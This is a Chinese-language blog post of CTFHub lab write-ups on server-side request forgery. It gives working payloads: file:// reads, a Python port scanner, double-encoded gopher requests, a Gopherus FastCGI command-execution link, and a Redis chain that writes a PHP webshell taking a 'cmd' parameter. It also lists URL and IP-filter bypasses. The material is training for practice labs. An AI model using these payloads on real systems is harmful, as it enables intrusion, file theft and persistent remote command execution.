Web安全——SSRF服务器端请求伪造2
本文最后更新于2 天前,其中的信息可能已经过时,如有错误请发送评论

前言

今天早上起来把 RCE 剩下的五题做了,除了最后一题有点犯迷糊以外,其他几题都算是速通了吧,然后吃药午休,现在是下午,练了会打字,处理了一下 cherry studio 报毒的问题,顺便更新了一下,然后才开始学习新的内容——SSRF服务器端请求伪造(就不能叫服务端请求伪造吗,还非要加个器,读起来都不顺口了),好了,不纠结这个,这篇文章依旧是 ctfhub 的学习,然后这次学习 SSRF 板块,学习完这个后还有一个 web 进阶,不过我不打算立刻就学,因为 php 和 js 的基础不够,同时之前写过一篇学习 python 的文章,我以为已经写完上传了,结果发现压根没写完,所以我的计划是这几天把这个板块做完后就开始学习 python,php,js,等补完基础后再回来把 ctfhub 的 web 进阶做了,然后再去做其他平台的题目,然后再去做比赛题。不过时间关系,我觉得24号之前应该就只能把 python 学完,加油!

这篇文章之所以是2,可以看我小随笔中的内容,因为1是这篇文章写一半后才写的,这个是后来1学习完了才补上的

SSRF概述

SSRF (Server-Side Request Forgery,服务器端请求伪造)是一种由攻击者构造请求,由服务端发起请求的安全漏洞。一般情况下,SSRF攻击的目标是外网无法访问的内部系统(正因为请求是由服务端发起的,所以服务端能请求到与自身相连而与外网隔离的内部系统)

SSRF原理

SSRF的形成大多是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。例如,黑客操作服务端从指定URL地址获取网页文本内容,加载指定地址的图片等,利用的是服务端的请求伪造。SSRF利用存在缺陷的Web应用作为代理攻击远程和本地的服务器 主要攻击方式如下所示:

  • 对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner信息
  • 攻击运行在内网或本地的应用程序
  • 对内网Web应用进行指纹识别,识别企业内部的资产信息
  • 攻击内外网的Web应用,主要是使用HTTP GET请求就可以实现的攻击(比如struts2、SQli等)
  • 利用file协议读取本地文件等

漏洞产生的相关函数:

file_get_contents()、fsockopen()、curl_exec()、fopen()、readfile()

相关文章:SSRF漏洞 Saint_Michael – 博客园

内网访问

题目:

尝试访问位于127.0.0.1的flag.php吧

考点:

  • SSRF 原理

解题思路:

题目告诉我们尝试访问位于127.0.0.1的flag.php,那我们开启环境看看:

查看源代码也没有任何东西,不过仔细观察 URL 可以发现里面存在一个 url 的参数,我们试着通过它访问题目中的位置看看:

http://challenge-236d276388fc5733.sandbox.ctfhub.com:10800/?url=127.0.0.1/flag.php

成功访问到这个flag.php的页面,并且返回了我们的 flag ,夺旗成功!

伪协议读取文件

题目:

尝试去读取一下Web目录下的flag.php吧

考点:

  • SSRF原理
  • file伪协议

解题思路:

这题如果看过我 SSRF 原理那部分里面的那篇文章就应该知道,考的主要是 file 协议,并且题目告诉我们了位置,所以直接访问即可,在 linux 系统中是在 /var/www/html/ 目录下:

http://challenge-21299dd64b52c51a.sandbox.ctfhub.com:10800/?url=file:///var/www/html/flag.php

php 是后端语言,如果 flag 使用 php 文件保存,并使用注释包裹,那么获取到后多半是需要 F12 来查看的,这里也是成功夺旗!

端口扫描

题目:

来来来性感CTFHub在线扫端口,据说端口范围是8000-9000哦

考点:

  • SSRF 原理
  • SSRF 端口扫描

解题思路:

看这标题,总感觉给我一种不正经消息的感觉,内容已经说了,端口范围是8000~9000,我们需要做的就是根据原理进行端口扫描,不过我们肯定是不可能自己手动一个一个的试的,所以这里使用脚本扫描:

import requests

ctfhub_url = 'http://challenge-9f2f2786bcb3b687.sandbox.ctfhub.com:10800/?url='

for port in range(8000,9001):
 try:
     payload = f'http://127.0.0.1:{port}/'
     response = requests.get(ctfhub_url + payload,timeout=4)
     print(f'端口{port}:状态码{response.status_code},响应长度{len(response.text)}')
 except:
     print(f'端口{port},连接超时')

当然你也可以使用 burpsuite 进行扫描,指定端口范围为 8000 ~ 9000 即可,不过这里我用脚本,顺便练练 python,速度还是 burpsuite 快,这个没用多线程

然后这里扫描发现有一个端口长度返回了32,正好是 flag 的长度,所以我们直接浏览器访问这个端口(8107)就可以了:

成功夺旗!

这里根据响应重写了一下代码,只在找到开放的端口时打印,并退出循环:

import requests

ctfhub_url = 'http://challenge-9f2f2786bcb3b687.sandbox.ctfhub.com:10800/?url='

for port in range(8001,9000):
 try:
     payload = f'http://127.0.0.1:{port}/'
     response = requests.get(ctfhub_url + payload,timeout=4)
     if len(response.text) != 0:
         print(f'找到flag,端口{port}开放,响应长度{len(response.text)}')
         break
 except:
     print(f'端口{port}连接超时')

POST请求

题目:

这次是发一个HTTP POST请求.对了.ssrf是用php的curl实现的.并且会跟踪302跳转.加油吧骚年

考点:

  • POST请求
  • SSRF原理
  • Gopher协议

解题思路:

在做这题之前,我们需要简单的了解Gopher协议:

Gopher协议是一种早期的互联网协议,主要用于在网络上获取文本信息。它在1991年提出,设计目的是提供一种简单且高效的方式来浏览和访问文件。Gopher协议通过类似文件系统的层次结构来组织数据,每个项目都有一个唯一的标识符。用户可以通过Gopher客户端软件浏览目录,选择下载或查看文件。Gopher服务器能够提供文本文件、图像文件、二进制文件等多种类型的文件。

与HTTP相比,Gopher协议具有更简单的设计和较少的功能,它基于传输控制协议(TCP)进行通信,默认端口号为70。然而,随着万维网的崛起和HTTP的普及,Gopher协议逐渐被取代

Gopher协议可以被用来攻击内网的Redis、Mysql、FastCGI、Ftp等服务,也可以发送GET、POST请求,这样可以拓宽SSRF(服务器端请求伪造)的攻击面。例如,当SSRF无法通过HTTP协议传递POST数据时,可以使用Gopher协议来发起POST请求

基础语法:

gopher://hostname:port/请求方法(get、post等)/path

在SSRF攻击场景中,利用Gopher协议可以实现多个数据包的整合发送。这种方法可以用于攻击内网的FTP、Telnet、Redis、Memcache等服务。Gopher协议的强大之处在于它可以通过构造特定的请求,来执行对内网服务的攻击,例如写入定时任务或SSH公钥,甚至是执行SQL语句来写入Webshell

Gopher协议在各个编程语言中的支持情况不同,例如PHP需要 –with-curlwrappers 且版本至少为5.3,Java版本小于JDK1.7,而Curl的低版本不支持Gopher协议

gopher://<host>:<port>/_<TCP数据流>

其中在具体的数据流之前需要一个 _ 下划线, 在数据流中,第一个发送的字符会被忽略(通常是用于表示类型的字符,在传统 Gopher 中已不再需要),所以通常我们会用一个无关字符(如 _)或空格(编码为 %20)来占位,因为 URL 本身有特殊字符(如 %, #, ?),所以原始数据需要被编码,尤其是换行符 \r\n 需要被编码为 %0D%0A

好的,了解SSRF的原理和Gopher协议的基础知识和用法后我们就可以开始做题了,先开启环境:

然后开启burpsuite和靶场,在历史记录中发现当我们访问index.php时响应302重定向到/url=_,我们可以利用提交一个URL参数,那么提交什么路径呢,使用dirsearch扫描一下目录看看

dirsearch -u http://challenge-55344c9dc4dbb54d.sandbox.ctfhub.com:10800 -i 200,300-399

结果:
D:\混口饭吃\Dirsearch>dirsearch -u http://challenge-55344c9dc4dbb54d.sandbox.ctfhub.com:10800 -i 200,300-399
D:\python\Lib\site-packages\dirsearch\dirsearch.py:23: UserWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html. The pkg_resources package is slated for removal as early as 2025-11-30. Refrain from using this package or pin to Setuptools<81.
from pkg_resources import DistributionNotFound, VersionConflict

_|. _ _  _  _  _ _|_    v0.4.3.post1
(_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: D:\混口饭吃\Dirsearch\reports\http_challenge-55344c9dc4dbb54d.sandbox.ctfhub.com_10800\_25-12-23_11-14-00.txt

Target: http://challenge-55344c9dc4dbb54d.sandbox.ctfhub.com:10800/

[11:14:00] Starting:

Task Completed

查看输出文件后发现啥都没有,我也纳闷,不过看别人的wp我其实知道有flag.php这个文件,我们直接访问这个文件发现的确存在,但是仅允许127.0.0.1

然后我们利用前面的伪协议读取一下这个index.php文件:

http://challenge-55344c9dc4dbb54d.sandbox.ctfhub.com:10800/?url=file:///var/www/html/index.php
执行结果:
<!--?php

error_reporting(0);

if (!isset($_REQUEST['url'])){
 header("Location: /?url=_");
 exit;
}

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);-->

可以看到请求的URL参数会使用curl进行请求,并且flag.php页面只允许127.0.0.1访问,那么我们就可以利用这个 index.php页面来实现SSRF,让它自己访问自己的flag.php页面并返回结果:

http://challenge-55344c9dc4dbb54d.sandbox.ctfhub.com:10800/?url=http://127.0.0.1/flag.php

可以看到这里访问成功,然后有一个输入框,我们使用F12查看一下,发现提供了这个key,还有一个提交的表单,那么我们先用file协议看看这个文件的代码:

http://challenge-55344c9dc4dbb54d.sandbox.ctfhub.com:10800/?url=file:///var/www/html/flag.php
执行结果:
<!--?php

error_reporting(0);

if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
 echo "Just View From 127.0.0.1";
 return;
}

$flag=getenv("CTFHUB");
$key = md5($flag);

if (isset($_POST["key"]) && $_POST["key"] == $key) {
 echo $flag;
 exit;
}
?-->

这里可以看到使用变量flag来接收全局变量中的CTFHUB,然后使用md5加密(flag长度过长,且随机,彩虹表可能无法找出来),判断post提交的key是否等于md5生成的key,如果等于就会返回flag,那么我们直接复制key提交试试,发现并不行,两点,第一是得是服务器自己发送的请求,第二是必须使用post请求,那么我们就需要用到gopher协议来提交 post 请求,这样就能达到让服务器自己去发送 post 请求的目的:

key=9c7494314da830a618485770cf36a8ef
payload:
gopher://127.0.0.1:80/_<TCP数据流>
post请求:
POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 36

key=9c7494314da830a618485770cf36a8ef
这是我们需要提交的tcp数据流,其中空行是请求体和请求头中间必须要有的,36是使用len(key=9c7494314da830a618485770cf36a8ef)来获取这个字符串的长度
然后我们将他这个post请求转换成gopher的格式,由于Gopher协议需要进行URL编码,所以上面的post请求编码后结果如下:
gopher://127.0.0.1:80/_POST%20/flag.php%20HTTP/1.1%0d%0aHost:%20127.0.0.1%0d%0aContent-Type:%20application/x-www-form-urlencoded%0d%0aContent-Length:%2036%0d%0a%0d%0akey=9c7494314da830a618485770cf36a8ef
其中%20是空格,根据http1.1的协议规范,每行消息必须以 \r\n 也就是 %0d%0a 结束(回车和换行),并且请求体和请求头中间还得再有一遍,也就是两遍,因为中间的空行也算,需要进行回车换行操作,并且末尾要加上%0d%0a
这个URL是没问题的,但是我们实际请求后URL会被解析一遍,传到index.php里面的curl时就不对了,所以我们需要进行二次编码,也就是%20换成%2520,%0d%0a要换成%250d%250A,结果如下:
gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250d%250AHost:%2520127.0.0.1%250d%250AContent-Type:%2520application/x-www-form-urlencoded%250d%250AContent-Length:%252036%250d%250A%250d%250Akey=9c7494314da830a618485770cf36a8ef%250d%250A
然后发送请求即可,不过因为在手动构造和编码 ,等我忙完环境已经关闭了,重新开启后Key值变了,所以实际提交的payload为:
?url=gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250d%250AHost:%2520127.0.0.1%250d%250AContent-Type:%2520application/x-www-form-urlencoded%250d%250AContent-Length:%252036%250d%250A%250d%250Akey=34a89fded1dbcde350347a750c1d8ab7%250d%250A

因为中途环境关闭没有续期,所以只能重新开启靶场,然后提交,Key有变化,不过其他是一样的

成功夺旗!

小随笔

在做这个 post 请求的时候卡关了,看了两篇文章,一篇就是答案,一篇详细且带有思路,但是看完仍旧觉得非常迷糊,可能是最近冲太快了,两天就速通了 XSS 和 RCE,高强度的学习让我大脑有点宕机,最后没办法看 YouTube 的视频来解决,国内 b 站 的视频也还行,不过找不到太多有用的,最后还是决定看油管的视频来学习 SSRF ,一共8节视频,打算看完后再回来做上面这个题目,不过在此之前我打算先把js php学习一下,因为 SSRF 我简单的看了一下,发现其中包含从代码审计的方面去发现这个漏洞,但是我这个代码基础不够,所以直接看肯定是不行的,刚好之前写了一个学习 python 的文章,原本是打算一起学习的,不过为了能够在12月24日之前做完ctfhub的web分支,所以python进阶后续在说,之前看过视频教程,除了面向对象不是特别理解其他的都还好,现在先把这些语言(php/js)学会然后再去尝试学习 SSRF(不过同样不学习面向对象,能看懂代码就行),然后做完题目之后再去学习 XSS 和 RCE 的课程,都看 YouTube 了,就顺带一起看了吧,所以这篇文章是我12月14号开始写的,但是发布文章的时间有点晚,因为这个 post 请求以及后面的题目都是学了之后补上的

今天是12月23日,可以看到SSRF文章已经发布了一篇,那篇文章是这个文章之后才写的,但是这个文章post卡关了,所以学习完那个之后才来做这个题目的,可能不想关,不过对SSRF的理解肯定是有帮助的,这个时候做不出来再去看wp也能理解思路,好的开始做题

文件上传

题目:

这次需要上传一个文件到flag.php了.祝你好运

考点:

  • POST请求
  • SSRF原理
  • Gopher协议
  • 完整Multipart结构

解题思路

在做这题之前需要对Multipart有一个基本的了解,它的结构如下:

POST /1.php HTTP/2
Host: lawking.top
Cookie: argon_user_token=xxxxxxxxxxxxxxxxx; PHPSESSID=xxxxxxxxxxxxxxxxxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:146.0) Gecko/20100101 Firefox/146.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=----geckoformboundary8d4fb5979c43ede9e43b461a66e635d7
Content-Length: 1438
Origin: https://lawking.top
Referer: https://lawking.top/ctf/web/test.html
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers

------geckoformboundary8d4fb5979c43ede9e43b461a66e635d7
Content-Disposition: form-data; name="file"; filename="&#27979;&#35797;&#25991;&#26412;1.txt"
Content-Type: text/plain

意识可能比光速快对吗,从科学角度来说意识并没有光速快,意识是大脑神经元通过电信号和化学信号传递形成的神经活动,其传播依赖生物电和神经递质的扩散,而这些过程的传递速度远低于光速,意识的瞬间感知并不意味着超光速,我们能瞬间想到某个地方,某个人,这只是大脑对记忆或概念的调用,并非真实信息以超光速传播,因此根据目前的物理理论,尤其是相对论,任何携带信息的物质或能量,都无法超越光速,抛开物理学从哲学角度出发,那么意识将不受任何物理约束且具有超越时空限制的特性,那么我们的思维将可以瞬间跨越空间,穿越时间
我的意思是,只要闭上眼意识就可以从地球瞬间飞到宇宙深处,只需要1秒钟,我的意识就可以瞬间跨越空间和时间,去到那个有你的夜晚,或许意识不只是我的一部分,而是链接我和你的桥梁,我不知道遇见你是对是错,但遇见你,我真的很开心,你离开后,我的意识开始不断回到过去,只为再看你一眼,哪怕意识消亡只为与你的片刻共鸣
------geckoformboundary8d4fb5979c43ede9e43b461a66e635d7--

这是一个html表单,我将它写在我博客服务器上面,然后上传一个文件后拦截,可以看到内容如上,这就是它的结构,我们再来看一下它最基本的结构:

POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Length: xxx
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="test.txt"
Content-Type: text/plain
文件内容
------WebKitFormBoundary7MA4YWxkTrZu0gW--

Boundary是一种特殊的分隔符,用于在Multipart数据中分隔不同的数据部分,就像文档中的分页符一样,以——,后面跟着唯一标识符,这个标识符在整个请求中必须保持一致,并且在结束的标识符后面需要再加两个–,不过它的长度以及内容是可以自定义的,—-lawking也是可以的,主要是告诉服务器,用这个标识符来分隔文档的内容。那么知道怎么去构造格式化的数据后,我们来构造我们自己的post数据,因为题目中已经告诉我们需要上传文件到flag.php页面:

POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Type: multipart/form-data; boundary=----lawking
Content-Length: 128
------lawking
Content-Disposition: form-data; name="file"; filename="lawking.txt"
Content-Type: text/plain
hello
------lawking--

我们实际提交的数据是——lawking开始的内容,这部分内容到结尾lawking–使用字符串包裹,然后放到Python里面len就可以获取到长度,然后我们将长度填写上就成了一个正常的数据包,这个时候我们只需要进行转协议:

gopher://127.0.0.1:80/_POST%20/flag.php%20HTTP/1.1%0D%0AHost:%20127.0.0.1%0D%0AContent-Type:%20multipart/form-data;%20boundary=----lawking%0D%0AContent-Length:%20128%0D%0A%0D%0A------lawking%0AContent-Disposition:%20form-data;%20name=%22file%22;%20filename=%22lawking.txt%22%0AContent-Type:%20text/plain%0A%0Ahello%0A------lawking--

转换后的内容是已经经过一次URL编码的,这个时候再进行二次编码,就得到了我们的payload:

gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost:%2520127.0.0.1%250D%250AContent-Type:%2520multipart/form-data;%2520boundary=----lawking%250D%250AContent-Length:%2520128%250D%250A%250D%250A------lawking%250AContent-Disposition:%2520form-data;%2520name=%2522file%2522;%2520filename=%2522lawking.txt%2522%250AContent-Type:%2520text/plain%250A%250Ahello%250A------lawking--

然后打开题目,直接访问页面,因为时间关系,没有进行扫描,直接访问127.0.0.1/flag,然后使用file协议查看文件内容:

http://challenge-0eb9d52f0223bb3d.sandbox.ctfhub.com:10800/?url=file:///var/www/html/flag.php

可以看到这里提交了一个文件,然后php里面的内容是判断文件是否存在,长度是否大于0,然后输出全局变量里面的flag,为什么出现上图这种情况是因为浏览器把>解析成php内容结束了,所以直接被当作文本展示了,可以查看响应的数据包:

<?php

error_reporting(0);

if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){
    echo "Just View From 127.0.0.1";
    return;
}

if(isset($_FILES["file"]) && $_FILES["file"]["size"] > 0){
    echo getenv("CTFHUB");
    exit;
}
?>

Upload Webshell

<form action="/flag.php" method="post" enctype="multipart/form-data">
    <input type="file" name="file">
</form>

没有对文件名字和内容做校验,只要有文件和内容即可,然后我们使用gopher协议去提交这个文件即可:

?url=gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost:%2520127.0.0.1%250D%250AContent-Type:%2520multipart/form-data;%2520boundary=----lawking%250D%250AContent-Length:%2520128%250D%250A%250D%250A------lawking%250AContent-Disposition:%2520form-data;%2520name=%2522file%2522;%2520filename=%2522lawking.txt%2522%250AContent-Type:%2520text/plain%250A%250Ahello%250A------lawking--

这里第一次提交没有成功,我纳闷了一会,看了一下另一个人的wp,发现他带着的参数非常完整,不过按道理只需要带几个固定的就可以了啊,然后我又排查了一下,发现gopher://127.0.0.1没有带端口号,所以访问不到,然后就一直没响应,添加了端口号,也就是这个上面的payload后,我们请求就能成功了

成功夺旗,下一题!

二次编码的脚本:

// 比如 he%20llo,这是空格的效果,使用 %2520 解码后就是 %20,就是空格,也就是说我们需要对%进行编码,它的URL编码是%25,所以上面的payload只需要这样
payload = "payloadxxxxxxxxx"
result = payload.replace('%','%25')
print(result)
// 就三行代码,将你的payload放到字符串中运行就可以了

FastCGI协议

题目:

这次.我们需要攻击一下fastcgi协议咯.也许附件的文章会对你有点帮助

考点:

  • POST请求
  • SSRF原理
  • Gopher协议
  • FastCGI协议

解题思路:

这题推荐使用工具,Gopher手动构造也就算了,这个FastCGI的协议还要手动构造,我都看不懂这是个什么东西,我看了文献,知道这个是开放在9000端口上面的一个服务,如果可以给通过SSRF和Gopher请求,就可以执行命令,但是我看了几篇wp,都是工具,而且这个靶场都这么久了,就只有3000多人通关,是真的有原因的,然后我直接看了别人wp,使用他那个工具来完成的

Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写_flower未授权-CSDN博客

这个是官方给的文章,csdn的,我看了一下,还行,比较详细,如果你对这个感兴趣可以看看,我这里就直接使用Gopherus了:

git clone https://github.com/tarunkant/Gopherus.git

这是项目地址,克隆本地,然后使用python 2运行,不过我第一次下载后发现有问题,缺少了一个模块,然后删除重新下载的,然后发现是windows安全防护删除了,复原了一下,然后我们使用这个工具:

python2 gopherus.py --help 

执行结果:
D:\混口饭吃\Gopherus\Gopherus>python2 gopherus.py --help
usage: gopherus.py [-h] [--exploit EXPLOIT]

optional arguments:
  -h, --help         show this help message and exit
  --exploit EXPLOIT  mysql, postgresql, fastcgi, redis, smtp, zabbix,
                     pymemcache, rbmemcache, phpmemcache, dmpmemcache

使用help查看一下用法,可以看到有两个参数,另一个是exploit,然后选择对应的服务,这题是fastcgi,所以使用如下命令:

python2 gopherus.py --exploit fastcgi

执行结果:
D:\混口饭吃\Gopherus\Gopherus>python2 gopherus.py --exploit fastcgi


  ________              .__
 /  _____/  ____ ______ |  |__   ___________ __ __  ______
/   \  ___ /  _ \\____ \|  |  \_/ __ \_  __ \  |  \/  ___/
\    \_\  (  <_> )  |_> >   Y  \  ___/|  | \/  |  /\___ \
 \______  /\____/|   __/|___|  /\___  >__|  |____//____  >
        \/       |__|        \/     \/                 \/

                author: $_SpyD3r_$

Give one file name which should be surely present in the server (prefer .php file)
if you don't know press ENTER we have default one:  

让我们提供一个服务器中一定存在的文件,最好是php结尾的,如果不知道可以直接回车,有默认的选项,因为我们知道有一个index.php文件,所以填写index.php,然后让我们输入要执行的命令,我们需要查看 flag.php 文件:

D:\混口饭吃\Gopherus\Gopherus>python2 gopherus.py --exploit fastcgi


  ________              .__
 /  _____/  ____ ______ |  |__   ___________ __ __  ______
/   \  ___ /  _ \\____ \|  |  \_/ __ \_  __ \  |  \/  ___/
\    \_\  (  <_> )  |_> >   Y  \  ___/|  | \/  |  /\___ \
 \______  /\____/|   __/|___|  /\___  >__|  |____//____  >
        \/       |__|        \/     \/                 \/

                author: $_SpyD3r_$

Give one file name which should be surely present in the server (prefer .php file)
if you don't know press ENTER we have default one:  index.php
Terminal command to run:  cat /f*

Your gopher link is ready to do SSRF:

gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%00%F6%06%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH59%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%09SCRIPT_FILENAMEindex.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%3B%04%00%3C%3Fphp%20system%28%27cat%20/f%2A%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00

-----------Made-by-SpyD3r-----------

然后我们需要对tcp数据流进行二次编码 ,直接使用前面那个脚本,只编码_后面的内容:

gopher://127.0.0.1:9000/_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%25F6%2506%2500%250F%2510SERVER_SOFTWAREgo%2520/%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP/1.1%250E%2502CONTENT_LENGTH59%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A//input%250F%2509SCRIPT_FILENAMEindex.php%250D%2501DOCUMENT_ROOT/%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%2500%253B%2504%2500%253C%253Fphp%2520system%2528%2527cat%2520/f%252A%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500

然后提交payload即可

成功夺旗,感兴趣的可以自己看前面官方提供的文章学习,我这里就不细学了,要不然几天都学不会,我都看不太懂

Redis协议

前言:

工具写出来就是用的,理解ssrf是这题的意义,但是题目考的内容超纲,让你去学习其他的协议,然后构造payload这肯定是不现实的,我没没必要重复造轮子,我们可以使用脚本来做题,然后去学习它怎么写的,而不是一味的学习协议,然后自己写,gopher协议学会后其实这两个题目我觉得都没必要自己去构造Payload,知道什么原理就好了

题目:

这次来攻击redis协议吧.redis://127.0.0.1:6379,资料?没有资料!自己找!

考点:

  • POST请求
  • SSRF原理
  • Gopher协议
  • Redis协议

解题思路:

这两题就像我前面说的,真正手动构造的人可能少得可怜,我看了一下,平台创建时间也不短了,整整这么多年,就3000多个人做出来,这其中肯定有我们这种用工具的,那么实际手动构造payload的可能万里挑一,我可以去学习这两个协议,但不是现在,我可以去学习这两个协议的漏洞,以及Gopher和SSRF结合使用,但是不是现在,因为我现在学习的是SSRF,我只是一个20多天的小白,让我去学习这种我也不会的,这里还是使用的前面的工具,然后选择Redis协议,然后二次编码,然后提交:

D:\混口饭吃\Gopherus\Gopherus>python2 gopherus.py --exploit redis


  ________              .__
 /  _____/  ____ ______ |  |__   ___________ __ __  ______
/   \  ___ /  _ \\____ \|  |  \_/ __ \_  __ \  |  \/  ___/
\    \_\  (  <_> )  |_> >   Y  \  ___/|  | \/  |  /\___ \
 \______  /\____/|   __/|___|  /\___  >__|  |____//____  >
        \/       |__|        \/     \/                 \/

                author: $_SpyD3r_$


Ready To get SHELL

What do you want?? (ReverseShell/PHPShell): PHPShell

Give web root location of server (default is /var/www/html):/var/www/html
Give PHP Payload (We have default PHP Shell):

Your gopher link is Ready to get PHP Shell:

gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2434%0D%0A%0A%0A%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

When it's done you can get PHP Shell in /shell.php at the server with `cmd` as parmeter.

-----------Made-by-SpyD3r-----------

这里是让我们选择反弹shell还是phpshell,然后我选择后者,然后让我们提供一个网站目录,有默认的,直接回车,然后让我们提供php shell 代码,不过有默认的,然后让我们完成后在服务器/shell.php目录和cmd参数访问这个shell,还是先编码

gopher://127.0.0.1:6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252434%250D%250A%250A%250A%253C%253Fphp%2520system%2528%2524_GET%255B%2527cmd%2527%255D%2529%253B%2520%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A/var/www/html%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A

稍微等待了一会显示这个,我们使用file协议查看一下是否成功:

http://challenge-5fd5bcf1cd90fb76.sandbox.ctfhub.com:10800/?url=file:///var/www/html/shell.php

可以看到这里成功了,我们连接一下这个shell,参数是cmd,不过我没有web shell连接工具就用浏览器手动来的:

http://challenge-5fd5bcf1cd90fb76.sandbox.ctfhub.com:10800/shell.php?cmd=ls

现在查找一下flag:

http://challenge-5fd5bcf1cd90fb76.sandbox.ctfhub.com:10800/shell.php?cmd=find / -name flag*

可以看到有一个flag文件,直接使用cat 查看一下:

http://challenge-5fd5bcf1cd90fb76.sandbox.ctfhub.com:10800/shell.php?cmd=cat /flag_84c75cc5cf0b06fdb309629823e9c513

成功夺旗!

小检讨

果然工具是真的好用,但也太容易让人依赖了,仅仅是这一次,我感觉这个工具使用非常舒服,甚至可以什么都不输入完成攻击,但是光这样是不够的,后面回来肯定是要学习的,然后自己编写工具,同时该编写一个自己的web shell 工具了,要不然每回都使用浏览器的确有点不方便

URL Bypass

题目:

请求的URL中必须包含http://notfound.ctfhub.com,来尝试利用URL的一些特殊地方绕过这个限制吧

考点:

  • 白名单过滤

解题思路:

看题目就知道是白名单限制,我前面一篇文章中有提到,可以使用@或者#号来绕过,然后这里就不赘述了,直接上payload:

http://challenge-65e1515956abec47.sandbox.ctfhub.com:10800/?url=http://notfound.ctfhub.com@127.0.0.1/flag.php

环境开启没一分钟,直接秒了

数字IP Bypass

题目:

这次ban掉了127以及172.不能使用点分十进制的IP了。但是又要访问127.0.0.1。该怎么办呢

考点:

  • SSRF IP绕过

解题思路:

看题目是黑名单检测,那我们可以使用进制或者localhost即可,或者127.1:

http://2130706433/flag.php
http://017700000001/flag.php
http://spoofed.burpcollaborator.net/flag.php
http://localhost/flag.php
http://127.1/flag.php

然后开启环境直接测试,发现三和五失败,其他成功:

ok,直接秒了,而且还有空多试了几个payload,这里可以看出来对外部域名和内部的纯数字127.0.0.1或者127进行了过滤,最后也是成功夺旗!

302跳转 Bypass

题目:

SSRF中有个很重要的一点是请求可能会跟随302跳转,尝试利用这个来绕过对IP的检测访问到位于127.0.0.1的flag.php吧

考点:

  • SSRF基础
  • 302跳转

解题思路:

这里需要我们使用一个外部的服务器来响应告诉靶场跳转到127.0.0.1/flag.php,不过使用file协议查看源码后发现使用localhost还是可以的,直接使用localhost的payload:

http://challenge-9c6f120e324e4276.sandbox.ctfhub.com:10800/?url=localhost/flag.php

使用服务器域名解析让他访问127.0.0.1,这里使用burpsuite提供的域名,会解析到127.0.0.1,之前那篇文章有讲:
